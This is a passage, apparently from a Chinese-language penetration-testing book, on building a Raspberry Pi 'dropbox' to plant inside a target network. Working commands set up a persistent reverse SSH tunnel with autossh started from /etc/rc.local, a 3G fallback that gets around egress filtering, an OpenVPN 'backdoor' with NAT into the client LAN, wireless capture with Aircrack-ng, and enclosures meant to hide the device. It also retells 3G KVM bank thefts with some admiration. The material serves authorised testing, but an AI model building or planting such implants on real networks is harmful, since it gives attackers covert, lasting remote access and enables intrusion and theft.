所以这有什么影响?简单来说,如果我们登录到我们的服务器并且 SSH 到本地主机的 5555 端口,我们应该可以找到答案。
root@ubuntusrv:~#ssh -l pi -p 5555 localhost
pi@localhost's password:
Last login: Tue Sep 17 19:26:23 2013 from localhost
pi@raspberrypi ~ $
成功!所有入站访问控制都已被颠覆,我们现在已经登录到了内部的设备!当然,在现实世界中事情并不总是那么简单,尤其是在高安全性的环境中。一些尝试的明显方法包括配置服务器以侦听 TCP/443 上的 SSH 连接,从而绕过网络出口的基本防火墙功能。
让它牢记于心
好的,现在我们已经涵盖了启动和运行 SSH 会话的基础知识,但是这需要变得更可靠。当会话崩溃时,重新启动是不可能的。当它崩溃时,顾问甚至可能距离数百英里之遥!
有几种选择可用以确保这不会毁掉一天。例如:"autossh"。Autossh 将设置并监视任何 SSH 隧道,并根据需要重新启动它们。这样,无论插入了一个小木马的地方,它都会安心地拨打回家,从而使测试能够从远程位置完成。
首先,在我们的树莓派上安装 autossh。
pi@raspberrypi ~ $ sudo apt-get install autossh
接下来,我们需要测试 autossh 是否正常工作并让它建立一个隧道。让我们首先回顾一下之前的反向 SSH 示例,希望您也成功地让它工作了!
root@raspberrypi:~# ssh -N -R 5555:localhost:22 root@192.168.1.156
记住,这不需要密码,因为我们先前设置了基于证书的身份验证。现在让我们来看看如何设置一个相同的会话,但使用 autossh。
pi@raspberrypi ~ autossh -M 13000 -f -N -R 5555:localhost:22 root@192.168.1.156
就是这样了!这里发生了什么?autossh 被指示使用端口 13000 监视它的 SSH 连接。可以选择任何端口来执行此任务,对功能来说并不重要。暂时选择一个高端口。-f 命令开关在后台运行 autossh。其余的命令是对原始反向 SSH 命令的逐字复制。惊人地简单,不是吗?让我们为可靠性添加一些额外的内容。
pi@raspberrypi ~ autossh -M 13000 -o "ServerAliveInterval 60" -o "ServerAliveCountMax 3" -f -N -R 5555:localhost:22 root@192.168.1.156
好了,还有一项任务要完成,那就是确保隧道在启动时建立。毕竟,在参与过程中最好避免配置这个东西,不是吗?最完美的方法是插上它然后离开,对吧?
几乎可以肯定,每个不同的人都会有不同的做法,所以选择最适合自己的。例如:编辑/etc/rc.local 文件,在"exit 0"行之前添加命令。文件的末尾应该是这样的。
# autossh tunnel at boot
autossh -M 13000 -o "ServerAliveInterval 60" -o "ServerAliveCountMax 3" -f -N -R 5555:localhost:22 root@192.168.1.156
exit 0
现在已经创建了一个可以插入目标网络的设备。它将在启动时自动建立一个反向 SSH 隧道,并监视是否有问题。它还会重新建立任何失败的 SSH 隧道!但是如果设备没有出站 SSH 访问权限,或者所有出站访问都被代理过滤了怎么办?怎么给这个小盒子添加 3G/4G 支持呢?
添加 3G/4G 支持
部署这种类型的设备时的风险是它可能没有未经过滤的出站访问权限,也没有足够的时间来排查原因。在这种情况下,唯一的选择是部署一个带有"dropbox"的蜂窝数据设备,并让它自动连接到主机,以便其余的测试可以远程进行。当然,这些连接必须可靠处理,这也将被涵盖。
选择设备
这可能是一个雷区,相信我!我成功地使用了一款华为 E160 USB 插头型号的设备和一张英国 Three SIM 卡。这种组合似乎很可靠。可以在以下链接找到经过验证的 3G 设备列表:elinux.org/RPi_VerifiedPeripherals#USB_3G_Dongles
。
特别要注意的一点是功耗。从 USB 电源源运行树莓派和 3G 设备并不总是可行的,所以为什么不考虑使用带电源的 USB 集线器来确保可靠性呢。
我绝对建议尝试一下你手头上有的设备,也许你会有好运。如果没有,你可以在 eBay 和亚马逊上以相对较少的费用购买 E160。E160 的一个好处是它有一个外部天线插孔。这可以提高在信号较弱区域的连接可靠性。
确保插入的设备已解锁,可以使用所选的 SIM 卡。
设置蜂窝连接
两个应用程序将用于启动此过程。第一个称为"Sakis3g",这是一个用于连接 3G 网络的 Linux 工具集。Sakis3g 可以在以下网址找到:www.sakis3g.org
。最近这个网站的稳定性一直不太好,因此可能需要寻找软件的替代下载位置。可以尝试在 sourceforge 上找到一个:downloads.sourceforge.net/project/vim-n4n0/sakis3g.tar.gz
,或者使用 Way Back Machine:web.archive.org/web/*/http://www.sakis3g.org/
。
我们还将使用"umtskeeper" --- mintakaconciencia.net/squares/umtskeeper/
。该应用程序基本上使用 Sakis3g 脚本进行实际连接,但确保它们是可靠的。就像 autossh 脚本一样,umtskeeper 将根据需要重新启动数据连接。
首先要做的是检查是否可以实现 3G 连接。可以使用 Sakis3g 来执行此任务。Sakis 是一个非常简单易用的应用程序,所有操作都是菜单驱动的,因此应该非常容易上手。提取后,您只需运行 sudo./sakis3g ---interactive。
将呈现一个如 F0030 所示的菜单。
图 12.5 Sakis3G 菜单。
假设硬件兼容,并且 SIM 卡能在 USB 转接器上正常工作,那么真正需要的只是选择"Connect with 3G"。很少情况下可能需要选择选项 2 "Only Prepare Modem..."。一旦该过程完成,再次选择选项 1。Sakis 会确认连接是否成功。您可以通过运行 ifconfig 来确认这一点,现在应该显示一个 ppp 接口。尝试 ping 8.8.8.8(Google DNS)以确认出站访问。
让它粘在一起
现在已确认 USB 转接器、SIM 卡和 Sakis 正常工作,让我们配置"umtskeeper"来管理这些事务。这将比仅仅使用 Sakis 稍微复杂一些,但至少可以减少不断返回以重新建立连接的需要。
首先,在树莓派上提取"umtskeeper"后,将 sakis3g 可执行文件复制到相同的文件夹中。这样,"umtskeeper"就知道在哪里轻松找到它了。从这里开始就是一个命令行的事情。让我们看看在英国 Three 网络上使其工作的命令。
pi@raspberrypi ~ $ sudo ./umtskeeper --sakisoperators "USBINTERFACE='0' OTHER='USBMODEM' USBMODEM='12d1:1003' APN='three.co.uk' APN_USER='' APN_PASS="""
Three 网络不需要 APN 用户名或密码,因此这些值都是空白的。必须与移动数据提供商进行检查,确认每个设置应该是什么。APN 可以从移动数据提供商处获得,在这种情况下是 three.co.uk。USBMODEM 值可以通过在插入了转接器的树莓派上运行 lsusb 来找到。以下是一个示例输出:
pi@raspberrypi ~ $ lsusb
Bus 001 Device 002: ID 0424:9512 Standard Microsystems Corp.
Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
Bus 001 Device 003: ID 0424:ec00 Standard Microsystems Corp.
Bus 001 Device 004: ID 12d1:1003 Huawei Technologies Co., Ltd. E220 HSDPA Modem / E230/E270/E870 HSDPA/HSUPA Modem
正如您在输出中所看到的,ID 值是我们在 umtskeeper 字符串的 USBMODEM 值中使用的值。让我们运行命令看看会发生什么。
pi@raspberrypi ~ $ sudo /home/pi/umtskeeper/umtskeeper --sakisoperators "USBINTERFACE='0' OTHER='USBMODEM' USBMODEM='12d1:1003' APN='three.co.uk' APN_USER='' APN_PASS=""" &
[1] 3692
pi@raspberrypi ~ $ ---
2013-09-19 21:04:05 Start: PID = 3693
2013-09-19 21:04:05 Sending SIGTERM signal to running program instance with PID=400.
2013-09-19 21:04:05 stats period = 8 s, connection check period = 32 s
Internet status:
Network link status on ppp0: unknown
Cell network: Connected.
2013-09-19 21:04:15 Internet connection is DOWN. Calling Sakis3G connect...
Sakis3G cmdLine: nice /home/pi/umtskeeper/sakis3g connect USBINTERFACE='0' OTHER='USBMODEM' USBMODEM='12d1:1003' APN='three.co.uk' APN_USER='' APN_PASS=
Sakis3G says...
E160 connected to 3 (23420).
2013-09-19 21:04:25 Testing connection...
2013-09-19 21:04:34 Success... we are online!
pi@raspberrypi ~ $ ifconfig ppp0
ppp0 Link encap:Point-to-Point Protocol
inet addr:10.128.9.181 P-t-P:10.64.64.64 Mask:255.255.255.255
UP POINTOPOINT RUNNING NOARP MULTICAST MTU:1500 Metric:1
RX packets:97 errors:0 dropped:0 overruns:0 frame:0
TX packets:130 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:3
RX bytes:12363 (12.0 KiB) TX bytes:16949 (16.5 KiB)
成功了!我们现在有了一个供 Pi 使用的实时 3G 连接。至少我希望你也有。如果没有成功,请尝试验证您的移动运营商设置是否正确。有很多帮助论坛可以指导您找到正确的方向。
那么,就这样了吗?还没有。现在很重要的是确保这个连接在启动时启动并保持连接。同样,通过将命令添加到/etc/rc.local 文件中,使 3G 连接在启动时启动。这是我添加的内容。
/home/pi/umtskeeper --sakisoperators "USBINTERFACE='0' OTHER='USBMODEM' USBMODEM='12d1:1003' APN='three.co.uk' SIM_PIN='1234' APN_USER='0' APN_PASS='0'" --sakisswitches "--sudo --console" --devicename'Huawei' --log --silent --monthstart 8 --nat'no' &
在启动后,将界面启动需要一点时间,但它确实有效,而且非常可靠。这一点可以通过将 LCD 屏幕连接到显示 Pi 的 eth0 接口和 ppp0/3G 接口的 IP 地址的章节中得到更详细的解释。稍后在章节中还将更详细地查看其他有用的硬件。
这是到目前为止我们所拥有的概要。
• 运行当前 Linux 发行版的工作"dropbox"
• 使用基于证书的身份验证,在启动时自动建立并维护反向 SSH 隧道
• 在启动时自动建立并维护 3G 数据连接
现在,这个小的 dropbox 可以提供一个进入客户网络的跳转点,让我们看看如何安装一些有用的工具来使其变得更好。
安装有用的工具
选择"dropbox"的工具集肯定是个人偏好的问题;然而,有一些常见的工具大多数人都会想要安装。每个工具都可以根据需要手动安装,或者考虑查看由 Pwnie Express 团队维护的优秀的"Raspberry Pwn"项目。
脚本将下载并安装许多常见的渗透测试工具,为构建提供了一个良好的平台。
Raspberry Pwn 文件可以从github.com/pwnieexpress/Raspberry-Pwn
下载。请注意,并非所有工具都与 Raspbian 兼容,因此根据具体要求可能需要进行一些调整。
安装 Raspberry Pwn
首先在 Pi 上安装 git,然后克隆 Pwnie Express 文件。
pi@raspberrypi ~ $ sudo apt-get install git
pi@raspberrypi ~ $ git clonehttps://github.com/pwnieexpress/Raspberry-Pwn.git
At this point, try changing into the Raspberry-Pwn directory with cd Raspberry-Pwn and run the installation script.
pi@raspberrypi ~/Raspberry-Pwn $ sudo./INSTALL_raspberry_pwn.sh
=== Raspberry Pwn Release 0.2 ===
A Raspberry Pi Pentesting suite by PwnieExpress.com
----------------------------------------------------------------
This installer will load a comprehensive security pentesting software suite onto your Raspberry Pi. Note that the Debian Raspberry Pi distribution must be installed onto the SD card before proceeding. See README.txt for more information.
Press ENTER to continue, CTRL+C to abort.
最终,应该会看到类似于此消息:
[+] Exploit-DB installed in /pentest.
[+] Setting default RAM allocation (disabled!)
[!] If your RPi board only has 256 MB ram please set split to
224/32 using raspi-config.
---------------------------------------------------------------
Raspberry Pwn Release 0.2 installed successfully!
---------------------------------------------------------------
[+] In order for the new RAM allocation to take effect, we must
[+] now reboot the pi. Press [Ctrl-C] to exit without rebooting.
重启 Pi 后,应该会有一个崭新的"pentest"目录,其中装满了可帮助进一步努力的工具(图 12.6)!
图 12.6 Raspberry Pwn pentest 目录。
屏幕、无线和其他硬件
有许多树莓派的附加组件可以让你的生活变得更轻松,或者扩展你的 Dropbox 的功能。我们之前讨论过的一件事是一目了然地看到我们的 Dropbox 是否连接到网络。显然,树莓派上的指示灯会告诉我们它是否有物理连接,甚至它协商了什么速度,但我们还需要知道它是否有 IP 地址,对吧?为此,你可以选择一个小巧的彩色 TFT 屏幕,也可以选择一个 16×2 字符 LCD 的路径。如果你选择彩色屏幕,IP 地址将在启动时显示,因为此功能已包含在/etc/rc.local 启动脚本中。我选择了 16×2 LCD 来满足我的特定需求。
为什么不考虑添加无线适配器以启用握手捕获或充当伪装接入点呢?此外,树莓派还需要一个外壳,或者说根据具体情况可能需要几个外壳来适应任何情景。
Adafruit Pi Plate
虽然深入了解如何将这个套件焊接在一起远远超出了本书的范围,但简要了解其工作原理还是值得的。
该套件基本上是一组组件,你将自己进行焊接。但不要因此而却步,这个过程非常简单,即使是初学者也适用。但你需要一只相对稳定的手!Adafruit 在这里为 Pi 板的组装提供了一步一步的指南:learn.adafruit.com/
adafruit-16×2-character-lcd-plus-keypad-for-raspberry-pi/assembly。
还有什么比这更好的方式来介绍自己学习焊接呢?你可以在网上购买到价格合理的套件,其中包括所有必要的部件。我买了一个带有一把不错的焊接烙铁、焊锡、支架、备用烙铁头、吸锡器和一套辅助工具的套件。没有什么比制作这样的东西然后看到它输出你选择的信息更好的了。最后再给你一点鼓励,我以前从未焊接过,但组装这个板子却处理得很好。只要耐心点,多读几篇焊接指南,然后慢慢来。
图 12.7 显示了该套件的未组装状态。
图 12.7 AdaFruit 树莓派板套件。
组装完成后,树莓派板将插入主板上的通用输入/输出(GPIO)引脚。因为它不是直接焊接到树莓派上的,所以它可以被拆卸,用于不需要显示屏的项目,例如,如果你需要将它安装到较小的外壳中 (Figure 12.8).
图 12.8 组装好的树莓派和树莓派板。
硬件使用 Python 控制显示内容。Adafruit 提供了许多示例脚本,可以用于许多用途。例如,他们提供了一个 IP 时钟脚本,毫不奇怪地在一行上显示 IP 地址,在另一行上显示时间。这个脚本被修改为在一行上显示以太网接口的 IP 地址,在另一行上显示 3G PPP 接口的 IP 地址。这样,很明显当插入时,它同时连接到两个网络,使得顾问可以离开。
以下是代码:
#!/usr/bin/python
from Adafruit_CharLCDPlate import Adafruit_CharLCDPlate
from subprocess import *
from time import sleep, strftime
lcd = Adafruit_CharLCDPlate()
cmd = "ip addr show eth0 | grep inet | awk'{print $2}' | cut -d/ -f1"
cmd2 = "ip addr show ppp0 | grep inet | awk'{print $2}' | cut -d/ -f1"
lcd.begin(16,1)
def run_cmd(cmd):
p = Popen(cmd, shell=True, stdout=PIPE)
output = p.communicate()[0]
return output
while 1:
lcd.clear()
ipaddr = run_cmd(cmd)
ipaddr2 = run_cmd(cmd2)
lcd.message(ipaddr2)
lcd.message(ipaddr)
sleep(1)
当它在我们的硬件上运行时,应该是什么样子在图 12.9 中。
图 12.9 完全功能显示显示 IP 地址。
显示每秒刷新一次,由代码行 sleep(1) 决定。您可以根据需要更改此设置。如果拔掉以太网接口,或者无线 3G 接收器,显示将停止显示相关的 IP 地址。可能需要 10 秒左右才能追赶上来。
如您从脚本中所见,您可以传递任何命令行字符串并显示结果。在这方面,您只受限于您的想象力。
有几个与这些显示器相关的项目比我的简单黑客工作要复杂得多。我建议查看 crushbeercrushcode.org/2013/03/developing-the-rogue-pi/
上的"RoguePi" 项目。
项目负责人卡伦·韦瑟尔在他的项目中使用了一个 RGB Pi Plate。它根据情况变换颜色。例如,在启动时它会运行连接检查,结果是绿色屏幕和成功消息。如果其中一个测试失败,屏幕就会变红。真是漂亮的东西!他友好地包含了用于执行所有这些操作的 Python 代码,我认为这是必读的!只需确保购买 Adafruit Pi Plate 的 RGB 版本以使用他的脚本!
无线接收器
添加无线接口允许更灵活地执行更多攻击。首先,它可以用于捕获握手数据包、连接到公司无线网络或主持伪造访问点。另外,为什么不尝试只将其用作在失去其他连接方式时重新连接到"dropbox"的手段呢?
就硬件而言,阿尔法接收器通常是一个不错的选择,但值得注意的是,旧版本(例如可靠的阿尔法 AWUS036H)不支持无线 N。在这里提醒一下,Pi 可能不会很喜欢不得不为自己和无线接收器供电。对于所有外围设备,请使用带电源的集线器。
很可能会有强烈的愿望在 Pi 上安装 Aircrack-ng 套件。由于与 iw 存在冲突,它将无法从存储库中获取,因此需要从源代码构建。幸运的是,这并不是很复杂。
首先检查是否安装了"build-essential"和"libssl-dev"的最新版本,然后开始下载 Aircrack-ng 软件包。
pi@raspberrypi ~ $ sudo apt-get install build-essential
pi@raspberrypi ~ $ sudo apt-get install libssl-dev
pi@raspberrypi ~ $ mkdir aircrack
pi@raspberrypi ~ $ cd aircrack
pi@raspberrypi ~ $ wget http://download.aircrack-ng.org/aircrack-ng-1.2-beta1.tar.gz
pi@raspberrypi ~/aircrack $ tar -zxvf aircrack-ng-1.2-beta1.tar.gz
现在是时候开始制造工具了。其中一些步骤可能需要一段时间!
pi@raspberrypi ~/aircrack $ cd aircrack-ng-1.2-beta1/
pi@raspberrypi ~/aircrack/aircrack-ng-1.2-beta1 $ make
pi@raspberrypi ~/aircrack/aircrack-ng-1.2-beta1 $ sudo make install
pi@raspberrypi ~/aircrack/aircrack-ng-1.2-beta1 $ sudo apt-get install iw
pi@raspberrypi ~ $ sudo airodump-ng-oui-update
现在让我们插入 dongle 并启动 Airodump,看看是否一切正常!
pi@raspberrypi ~ $ sudo airmon-ng start wlan0
Interface Chipset Driver
wlan0 Atheros AR9271 ath9k - [phy0]
(monitor mode enabled on mon0)
pi@raspberrypi ~ $ sudo airodump-ng -w /home/pi/wirelesscap mon0
CH 1 ][ Elapsed: 32 s ] 2013-09-21 12:02
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
12:FE:F4:07:A1:E8 -61 60 0 0 6 54e. OPN BTWiFi-with-FON
02:FE:F4:07:A1:E8 -61 68 0 0 6 54e. OPN BTWiFi
6 A:C6:1 F:E8:84:2D −70 125 0 0 1 54e OPN BTWiFi-with-FON
10:C6:1 F:E8:84:2B −69 164 8 0 1 54e WPA2 CCMP PSK BTHub3-P3HP
6 A:C6:1 F:E8:84:2C −67 168 0 0 1 54e OPN BTWiFi
BSSID STATION PWR Rate Lost Frames Probe
00:FE:F4:07:A1:E8 B8:8D:12:3A:75:00 -60 0 - 1 0 19
选择可能是坚持这种攻击方式,试图捕获和破解握手,或者尝试设置一个 rogue AP。首选选择是在这种攻击向量中部署一个无线 Pineapple 并配合"dropbox"。如果需要,这可以将 Internet 流量路由到 Pi 并从其 3G 接口输出。
选择一个适合你的 dropbox 的外壳
有很多潜在的"dropbox"外壳可供选择,但哪一个最适合我们的特定任务呢?这取决于与 Pi 一起部署的附件数量。如果它带有屏幕、无线和 3G dongle 发送出去,那么它就不适合任何标准的箱子。在这种情况下,为什么不试试小型的 Pelican 硬箱,比如 1050?这个箱子足够大,可以轻松地放入 Pi 和一些额外的好东西而不会出现任何问题。但是,它需要进行一些修改,以便使电源和网络电缆可以接入。它并不是最小的箱子,但是它仍然可以很容易地被隐藏在桌子或地板板下而不会出现问题(参见[图 12.10)。
图 12.10 Pelican 和标准 Pi 外壳。
还有更加隐秘的外壳类型,设计成藏在显眼处的,比如 OKW 的插头外壳系列,可以进行一些修改后使用------www.okw.co.uk/products/okw/plug.htm
。然而,这些修改可能相当广泛。首先,需要从 Pi 上拆下 S-Video 连接器,USB 端口也必须重新定位。但这并不是没有先例的,事实上一些人已经用 USB 头替换了当前的 USB 端口,然后连接了一个内部的、有源 USB 集线器。其中一位这样做的人是 Oliver Jenkins,可以从这里获取更多信息:www.oliverjenkins.com/blog/2012/6/changing-usb-socket-on-raspberry-pi
。
不管怎样,这不适合胆小的人,你至少要放弃任何保修!这是我在疯狂的日子里要做的事情清单上的一个想法(参见图 12.11 和 12.12)。
图 12.11 OKW 外壳。
图 12.12 带有 Pi 的 OKW 外壳。
当然还有其他选择。人们已经将这些"投递箱"集成到笔记本电源适配器、八路电源供应器、交换机、接入点以及其他各种回收箱中。一个不错的想法是将其集成到桌面交换机中,并将以太网端口直接连接到树莓派,但这是另一本书的话题。
将 OpenVPN 添加到我们的后门
在前面的部分简要提到了 OpenVPN。这个想法非常简单。与其仅依赖于反向 SSH 连接,为什么不建立一个完整的 VPN,允许我们无限制地访问目标网络?从所有方面来看,这就像坐在办公室里,通过有线连接访问局域网一样。这肯定比 SSH 隧道更加灵活!而且,这也可以通过我们的 3G 连接工作!如今,3G 和 4G 便携式设备是高带宽设备,不容忽视。
在我们的场景中,树莓派将成为 OpenVPN 客户端。它将与我们数据中心的服务器建立 VPN 连接。如果我们使用目标的互联网连接,这可以帮助我们绕过任何入站防火墙规则等访问限制。我们将能够配置 VPN,使我们能够通过隧道路由流量进入目标网络。为了保持简单,我将使用运行 Ubuntu Server 的虚拟机来模拟连接的数据中心端。我建议您跟随流程并自己构建它。
安装 OpenVPN 并生成证书和密钥
首先让我们在服务器上设置 OpenVPN。这是一个相当简单的操作;我们只需要仔细遵循步骤,避免任何错误。
root@ubuntusrv:~# sudo apt-get install openvpn
是的,这就是构建所需的全部内容。接下来是配置服务器,首先要复制一些文件。
root@ubuntusrv:~# cp -R /usr/share/doc/openvpn/examples/easy-rsa /etc/openvpn
root@ubuntusrv:~# cd /etc/openvpn/easy-rsa/2.0
现在我们需要编辑"vars"文件以适应我们的需求。您要寻找将添加到我们将生成的证书中的值。例如:"export KEY_COUNTRY="US"。"
坦率地说,对于我们的目的,这些值可以设置为任何值。使用您选择的文本编辑器编辑这些值。
然后我们需要运行一些脚本来启动事情。是的,下面的第一行是"点空格点斜杠。"
root@ubuntusrv:/etc/openvpn/easy-rsa/2.0#. ./vars
root@ubuntusrv:/etc/openvpn/easy-rsa/2.0#./clean-all
root@ubuntusrv:/etc/openvpn/easy-rsa/2.0#./build-ca
Generating a 1024 bit RSA private key
................................................................................++++++
...........++++++
writing new private key to'ca.key'
-----
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter'.', the field will be left blank.
-----
Country Name (2 letter code) [UK]:
State or Province Name (full name) [UK]:
Locality Name (eg, city) [Leeds]:
Organization Name (eg, company) [hackjobinc]:
Organizational Unit Name (eg, section) []:
Common Name (eg, your name or your server's hostname) [hackjobinc CA]:
Name []:server
Email Address [me@myhost.mydomain]:
root@ubuntusrv:/etc/openvpn/easy-rsa/2.0#
按照输出要求配置几个选项,但我们已经将它们添加到"vars"文件中,因此只需按"enter"键保留每个值即可。正如我之前提到的,如果你愿意,也可以保留默认设置。
接下来需要执行的下一个脚本:
root@ubuntusrv:/etc/openvpn/easy-rsa/2.0#./build-key-server server #Answer 'Y' when asked to sign the certificate and then again when asked to commit.
root@ubuntusrv:/etc/openvpn/easy-rsa/2.0#./build-key client #This generates a client certificate
root@ubuntusrv:/etc/openvpn/easy-rsa/2.0#./build-dh #Diffie Helman Setup
现在我们需要将生成的密钥和证书移动到正确的目录中。
cd /etc/openvpn/easy-rsa/2.0/keys
cp ca.crt ca.key dh1024.pem server.crt server.key /etc/openvpn
配置 OpenVPN
幸运的是,这一步非常简单。OpenVPN 随附示例配置,可以编辑以适应我们的设置。幸运的是,要使事情正常运行,需要改变的内容并不多。让我们从将示例配置复制到正确位置开始。
cp /usr/share/doc/openvpn/examples/sample-config-files/server.conf.gz /etc/openvpn
gunzip /etc/openvpn/server.conf.gz
现在我们需要编辑 server.conf 文件,并确保证书和密钥文件的位置正确设置为 /etc/openvpn/keys。使用 nano 打开 /etc/openvpn/server.conf ------sudo nano /etc/openvpn/server.conf
寻找涉及 ca.crt、server.crt 和 server.key 的部分。确保设置为 /etc/openvpn/ca.crt、/etc/openvpn/server.crt 和 /etc/openvpn/server.key。
到目前为止,服务器端就做到这些了。真的不算太痛苦。特别是考虑到隧道会在启动时自动建立。
现在,转到客户端,这里是树莓派 Dropbox。
配置客户端
构建客户端的过程非常类似。首先安装 OpenVPN,并将客户端证书从服务器复制到 Pi。然后,我们将修改客户端示例配置以适应我们的需求。此时重新启动 OpenVPN 守护程序应该可以建立隧道。让我们开始吧!
如果 Pi 上的 root 帐户尚未启用,则现在需要启用。只需输入 passwd root 并输入新的 root 密码。
安装 OpenVPN ------sudo apt-get install openvpn
然后,返回服务器以使用安全复制(SCP)将证书文件复制到 Pi
root@ubuntusrv:/# cd /etc/openvpn/easy-rsa/2.0/keys
root@ubuntusrv:/# scp piclient.key piclient.crt ca.crt ca.key root@192.168.1.154:/etc/openvpn
你应该看到传输成功!如果没有,请尝试排除原因,因为如果没有这些传输,它将无法正常工作。
现在返回到 Pi 并复制随 OpenVPN 一起提供的示例配置。
pi@raspberrypi ~ $ sudo cp /usr/share/doc/openvpn/examples/sample-config-files/client.conf /etc/openvpn
接下来,编辑文件以匹配我们的环境------sudo nano /etc/openvpn/client.conf,找到字符串"remote my-server-1 1194"。将"my-server"更改为服务器的 IP 地址。默认情况下,端口是用户数据报协议(UDP)/ 1194,但可以选择任何端口。如果预计 VPN 将通过客户端的基础设施传输,则 TCP/443 可能是一个不错的选择。在这种情况下,隧道将通过 3G 建立,不应该有任何限制。
与之前编辑的 server.conf 类似,确保在 client.conf 中正确引用客户端密钥和证书非常重要。同样,每个文件都被复制到 /etc/openvpn,因此确保配置文件反映了这一点。
现在所需的一切就是在连接的每一端重新启动 OpenVPN 守护程序,从服务器开始 sudo /etc/init.d/openvpn restart。
此时,隧道应该已经建立。通过运行"ifconfig"和"route -n"来验证这一点。应该有一个"tun0"接口和使用它作为跳跃点的几条路由。
连接的每一端通常都会出现一个 10.8.0.x 的地址。尝试运行 NMAP 以查找远程端(Pi)分配给自己的地址------Nmap -sn 10.8.0.0/24。
作为示例,在这个设置中,Pi 获得了 10.8.0.6 的地址。实际上可以使用此地址直接与 Pi 通信,使用 SSH 或任何常用工具。所有这些流量都发送到 VPN!
这还没有完全完成,仍然需要稍微修改路由,以确保可以访问整个目标网络。
路由问题及其克服方法
目前来看,无法从 OpenVPN 服务器 ping 到 Pi 的本地网络。原因有两点。首先,OpenVPN 需要配置为将 LAN 流量路由到 VPN 隧道下。其次,目标网络中的设备没有返回路由回到 10.8.0.0/24 网络,至少在这种情况下不会。显然,我们无法修改目标网络的路由表,也不想这样做。不过,有一个替代方案。我们可以将所有的流量隐藏在 Pi dropbox 的 LAN IP 地址后面。因为 Pi 插入了目标网络,所以知道该网络中的所有主机都能与其通信。这与某人可能如何配置家庭宽带路由器并隐藏所有家庭 PC 后面的单个公共 IP 地址相似。在我们的情况下,我们将将 10.8.0.0/24 网络转换为客户端的 192.168.1.x 网络。
在树莓派上配置以下内容。
sudo -i
iptables -F; iptables -t nat -F; iptables -t mangle -F
iptables -t nat -A POSTROUTING -o eth0 -j SNAT --to 192.168.1.154 #192.168.1.154 is the address of the eth0 interface of our Pi which is on the client network
echo 1 > /proc/sys/net/ipv4/ip_forward #Allows the Pi to route traffic in and out, basically turning it into a router.
这应该处理连接的 Pi 端的路由。现在配置 OpenVPN 将流量发送到 192.168.1.0/24 下的 VPN 隧道。
我们只会在 OpenVPN 服务器上配置这个。
首先,我们需要再次编辑 server.conf,即 nano /etc/openvpn/server.conf。
找到标有"client-config-dir ccd"的行,并删除注释该行的分号。
直接在下面的行下面,添加一个路由到我们的 192.168.1.0 255.255.255.0 网络。
route 192.168.1.0 255.255.255.0
保存文件。
现在创建"ccd"目录并放置一个配置文件在其中。
mkdir /etc/openvpn/ccd
我们将创建的配置文件需要与客户端的名称相同。在我们的示例中,我们称之为"client"---这是在生成证书时选择的!
cd /etc/openvpn/ccd
nano client
然后在客户端文件中添加一个路由。
iroute 192.168.1.0 255.255.255.0
route 命令与之前使用的命令略有不同;不要混淆这两个,否则将无法工作!别忘了保存文件。我们所需要做的就是重新启动我们的 OpenVPN 服务器,我们应该能够开始工作了!
/etc/init.d/openvpn restart
root@ubuntusrv:~# route -n
Kernel IP routing table
Destination Gateway Genmask Flags Metric Ref Use Iface
0.0.0.0 192.168.1.254 0.0.0.0 UG 0 0 0 eth0
10.8.0.0 10.8.0.2 255.255.255.0 UG 0 0 0 tun0
10.8.0.2 0.0.0.0 255.255.255.255 UH 0 0 0 tun0
172.16.0.0 0.0.0.0 255.255.0.0 U 0 0 0 eth1
192.168.1.0 10.8.0.2 255.255.255.0 UGH 0 0 0 tun0
正如你所见,我们现在有了一个路由到 192.168.1.0/24 网络,使用 tun0 接口,即我们的 VPN!该网络的网关是 10.8.0.2,属于我们的 RaspberryPi。您现在应该能够从 OpenVPN 服务器访问该网络中的任何内容。您需要为您希望访问的任何其他目标网络重复路由添加。您的访问方式与自己直接插入的方式没有什么不同,当然除了带宽。这在我们的 3G 连接上也足够工作,尽管我可能会在控制 Pi 后首先在客户端的连接上建立第二个隧道。
不要忘记,您可以允许您的 OpenVPN 服务器通过执行 echo 1 > /proc/sys/net/ipv4/ip_forward 语句来路由流量。然后,您可以使用服务器作为进入目标网络的网关,以便多个工程师可以访问范围。或者,您可以在每个顾问的计算机上安装 OpenVPN 客户端,并以这种方式访问目标。世界是你的!
替代性投递箱
在考虑在敌人阵地留下什么时,还有其他选择。它不一定必须是某种类型的计算机;它可以只是一种使连接进入目标网络的设备。让我们看看一些选项,以充实这个概念。
3G 和 IP KVMs
最近发生的两起备受关注的入侵事件突显了使用 3G 启用的 KVMs(键盘、视频和鼠标)进行远程入侵的情况。KVM 是一种旨在提供系统控制台级访问权限的系统。本质上,这就像坐在显示器和键盘前一样。可以重新启动系统并进入 BIOS 并执行任何物理访问允许的任务。KVM 已经存在很长时间,并随着行业的发展而发展,提供网络连接和在某些情况下提供蜂窝网络连接。这在前面提到的两起入侵事件中得到了突出展示。
攻击针对桑坦德和巴克莱分行的银行计算机系统。3G 启用的 KVM 安装在分行计算机上,使攻击者能够远程控制系统并转移大笔资金。在桑坦德的情况下,在任何资金被盗之前就发现了该设备,但巴克莱就没有那么幸运。攻击者设法窃取了 130 万英镑。在看到设备使用图片后,似乎 IP KVM 连接到了一个允许远程连接的 3G 启用路由器。这些设备是隐蔽的,对于绝大多数人来说在办公室或分支机构环境中看起来并不突兀。
KVM 安装在看起来是经典社会工程类型攻击的情况下。他们冒充 IT 人员,声称是现场维护银行计算机的人员。虽然在撰写本文时尚未提供有关借口的具体信息,但我们在本书中已经涵盖了可能在整个过程中起作用的示例。现在的问题是,还有多少其他银行和组织在其网络上拥有这些恶意设备?
这些案例是现代攻击所构成的混合威胁的完美例子。它们整合了社会工程学元素以进入分支机构,然后利用技术相关的诡计获取远程访问权限。对我来说最有趣的是,他们是用现成的硬件完成的。毫无疑问,对于他们付出的努力,我确实有一定程度的钦佩,即使他们确实应该长期监禁。无论如何,我肯定会寻找价格合理的 IP/3G KVM!
我们在我们的投放盒搭建部分使用了 3G 连接。如果你还没有的话,自己动手搭建一个吧!
路由器
